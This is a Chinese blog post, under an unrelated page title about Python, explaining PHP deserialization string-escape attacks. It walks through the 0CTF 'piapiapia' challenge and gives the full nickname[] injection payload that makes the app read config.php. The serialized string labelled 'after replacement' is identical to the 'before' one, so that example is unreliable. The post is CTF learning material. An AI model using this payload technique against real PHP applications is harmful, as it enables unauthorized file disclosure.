1. 程式人生 > 實用技巧 >Python字串運算子

Python字串運算子

要學習反序列化字串逃逸之前,我們需要知道php反序列化的幾大特性。

1.PHP 在反序列化時,底層程式碼是以 ; 作為欄位的分隔,以 } 作為結尾(字串除外),並且是根據長度判斷內容的 .

2.當長度不對應的時候會出現報錯

3.可以反序列化類中不存在的元素

反序列化字串逃逸

 1.過濾後字元變多
 2.過濾後字元變少

過濾後字元變多

當我們傳入?name =npfsx 時,由於溢位,反序列化失敗,這個時候我們就可以利用這裡的溢位,構造注入,實現字串逃逸

其實總的來說就是因為執行text函式將一個字元(x),替換成兩個字元 (66), 使字串膨脹,造成了之後的序列化中,多出來的這些字元搶佔了本屬於";i:1;s:6:"hacker";}

的位子,使其溢位,而我們要做的就是使溢位的這部分在閉合前一字串的同時,符合php反序列化規則,能夠被成功反序列化

所以";i:1;s:6:"hacker";}這一部分前面的字元";就是我們用來閉合前面字串的,這樣剩下的i:1;s:6:"hacker"這一部分符合反序列化規則,最後的;}是用來閉合反序列化全過程的,這樣原來的";i:1;s:14:"hello everyone";}就會被捨棄,而不影響反序列化過程


過濾後字元變少

總的來說就是由於縮水,導致前面的字元被吃掉了,所以執行了我們後面構造的程式碼


0CTF piapiapia

使其主要的程式碼就四部分

先拿seay審下(第一次用,發現真是神器啊2333)

可以發現config.php裡有個flag

我們在register.php頁面註冊,在index.php頁面登入之後,來到update.php頁面,我們可以看到這個頁面是一個檔案上傳頁面,結合seay,審計程式碼,發現這裡有一個序列化的過程,同時在序列化之前會對我們輸入的Phone、Email、Nickname、Photo進行正則匹配(phone要類似於11位陣列的構造,email要類似於[email protected]這樣郵箱的構造,這兩種都是不符合則die,而Nickname恰恰相反,它是如果匹配到非字元數字下劃線或者長度超過10則die,這裡可以用陣列繞過)

這裡有個update_profile函式,我們追溯看看

可以發現裡面有個filter函式,繼續追溯

通過審計發現會將字串中的\\\\\ 替換成下劃線,也會將部分字元替換成hacker,這裡細心點可以發現這些字串裡面只有where是5位的,其他都是6位的


回到update.php頁面,嘗試上傳檔案,來到了profile.php頁面,審計程式碼,發現這裡有個反序列化操作,還有一個檔案讀取操作

其實看到這裡,大概思路應該就有了,flag在config.php中,我們在上傳頁面引數被序列化,再經歷一系列替換之後,再進行反序列化,同時還有檔案讀取

php反序列化字串逃逸的常見套路,我們可以將config.php作為逃逸字串,經過一系列變化後,讀取出來

最終payload

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

上傳後來到profile.php頁面,讀取原始碼,base64解密,即可得到flag

這裡為什麼要構造nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}其實如果看懂我上面寫的過濾後字元變多這一模組後是很好理解的

filter函式會將where替換成hacker,字元數增加1,字串膨脹

";}s:5:"photo";s:10:"config.php";}

這一部分一共34個字元,這也就以為這當我們構造34個where時,當where被替換成hacker之後,會多出34個字元,使得";}s:5:"photo";s:10:"config.php";} 被向後推,從而替代了photo的序列化結果

替換前

a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

替換後

a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}